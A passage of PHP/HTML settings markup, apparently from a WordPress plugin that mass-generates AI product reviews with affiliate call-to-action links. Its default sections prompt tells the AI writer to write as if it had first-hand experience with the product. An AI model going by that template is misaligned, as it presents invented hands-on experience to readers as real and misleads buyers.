autocomplete="off" id="topic_intro_model" name="aiomatic_review_list[topic_intro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the main Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Sections Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">Write %%sections_count%% consecutive headings for a product review article of the "%%product_title%%" product, that starts with an overview, highlights specific features and aspects of the product, provides detailed insights and specific recommendations. The headings should be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Point of view: %%point_of_view%%. Don't add numbers to the headings, hyphens or any types of quotes. Write as if you had first-hand experience with the product you are describing. Return only the headings list, nothing else.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Sections Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model" name="aiomatic_review_list[topic_sections_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %current_section%%, %%article_so_far%%, %%last_section_content%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="aiomatic_review_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">Write the content of a product review post, for the following section heading: "%%current_section%%". The post is reviewing the product "%%product_title%%" in %%language%%. Don't repeat the product title in the created content, also don't be repetitive in general. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website. Add a engaging Call to Action link to: %%aff_url%%. Be sure to add the following HTML classes to the call to action button: "button btn btn-primary". Writing Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Extract content from the following product description: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model" name="aiomatic_review_list[topic_content_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Customer Reviews Analysis section of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Customer Reviews Analysis Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[reviews_prompt][]" placeholder="Enter your Customer Reviews Analysis prompts, one per line" class="cr_width_full">Write the content of a "Customer Reviews Analysis" section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Use HTML for formatting. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. List of customer reviews: "%%product_reviews%%". </textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Customer Reviews Analysis generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Customer Reviews Analysis Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_reviews_model" name="aiomatic_review_list[topic_reviews_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Pros & Cons section of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Pros & Cons Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[proscons_prompt][]" placeholder="Enter your Pros & Cons prompts, one per line" class="cr_width_full">Write the content of a "Pros & Cons" section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%.Use HTML for formatting. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Product description: "%%product_description%%". </textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Pros & Cons generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Pros & Cons Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_proscons_model" name="aiomatic_review_list[topic_proscons_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">Write the content of a Q&A section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Product description: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model" name="aiomatic_review_list[topic_qa_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">Write an outro for a product review blog post, for the product: "%%product_title%%". The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Product description: "%%product_description%%". Add also an engaging final call to action link, in a clickable HTML format (don't use markdown language), leading to the link of the product: "%%aff_url%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model" name="aiomatic_review_list[topic_outro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">Write a short excerpt for a product review blog post, for the product: "%%product_title%%". The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. The excerpt must be between 100 and 150 words. </textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model" name="aiomatic_review_list[topic_excerpt_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[strip_by_regex_prompts][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, reviews, proscons, qa, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on" name="aiomatic_review_list[run_regex_on][]" type="text" list="run_regex_on_list" class="coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks('');" name="aiomatic_review_list[link_type][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_review_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_review_list[link_nofollow][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[link_post_types][]" placeholder="post" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Category Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post categories from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_review_list[auto_categories][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Category Generator:", 